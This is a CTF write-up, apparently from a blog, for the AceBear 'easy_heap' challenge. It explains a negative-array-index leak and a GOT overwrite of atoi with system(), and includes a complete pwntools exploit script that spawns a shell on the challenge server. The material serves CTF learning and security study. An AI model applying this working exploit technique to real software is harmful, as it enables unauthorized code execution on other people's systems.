Heap Exploitation (Negative Array Index Exploit)
The main vulnerability in this challenge is that the program fails to filter negative input when showing index, therefore allows us to input negative array so that the program will read an address that we supply via our manipulated negative index. Since the program has Partial RELRO, we can overwrite the GOT to our liking (which is of course, to spawn a shell).
Original Write-up: https://kileak.github.io/ctf/2018/acebear-easy_heap/
Original Challenge: https://drive.google.com/open?id=1mlSjyG1-MTstxJ-zTpQ4WBvTt50fLfHa
Since this exploit is not so hard (even in the concept), I will refrain from explaining too far off the topic because hopefully this will be the last time I do the write-up analysis (doing this from my own experience proves to be much better and rewarding for me too).
Here's what we're gonna do:
The
show_name()
function reads the address of our 'name' in the heap. We'll use this to leak the libc base address.The
edit_name()
function allows us to edit our previously entered 'names'.With the
edit_name()
function earlier we change the name tosystem()
so we can summon the shell.
Here's the original exploit:
#!/usr/bin/python
from pwn import *
import sys
HOST = "easyheap.acebear.site"
PORT = 3002
def show(idx):
r.sendline("4")
r.sendlineafter("Index: ", str(idx))
r.recvuntil(": ")
DATA = r.recvuntil("\n", drop=True)
r.recvuntil("Your choice: ")
return DATA
def create(idx, name):
r.sendline("1")
r.sendlineafter("Index: ", str(idx))
r.sendafter("name: ", name)
r.recvuntil("Your choice: ")
def edit(idx, name):
r.sendline("2")
r.sendlineafter("Index: ", str(idx))
r.sendlineafter("name: ", name)
r.recvuntil("Your choice: ")
def delname(idx):
r.sendline("3")
r.sendlineafter("Index: ", str(idx))
r.recvuntil("Your choice: ")
def quit():
r.sendline("4")
def exploit(r):
name = p32(e.got["read"])
name += p32(e.got["atoi"])
name += "A"*(32-len(name))
r.sendafter("name: ", name)
r.sendafter("age: ", str(0x21))
r.recvuntil("Your choice: ")
log.info("Leak LIBC via first name ptr")
LEAK = u32(show(-1073741808)[:4]) # name[0]
libc.address = LEAK - libc.symbols["read"]
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
log.info("Overwrite atoi via second name ptr")
payload = p32(libc.symbols["system"])
edit(-1073741808+1, payload)
log.info("Send /bin/sh to trigger shell")
r.sendline("/bin/sh")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./easy_heap")
libc = ELF("./easyheap_libc.so.6")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./easy_heap", env={"LD_PRELOAD" : "./easyheap_libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
The magic number -1073741808 comes from the address of the name arrays minus the address of username. This will make the show_name() function reads the address of our supplied username.
On the edit() function, the -1073741808+1 comes from the incremented username (since we added one to it earlier).
The rest is elementary. We changed atoi() to system() because atoi is used to convert our input (hence our manipulated input) and can be changed to "/bin/sh" to summon shell.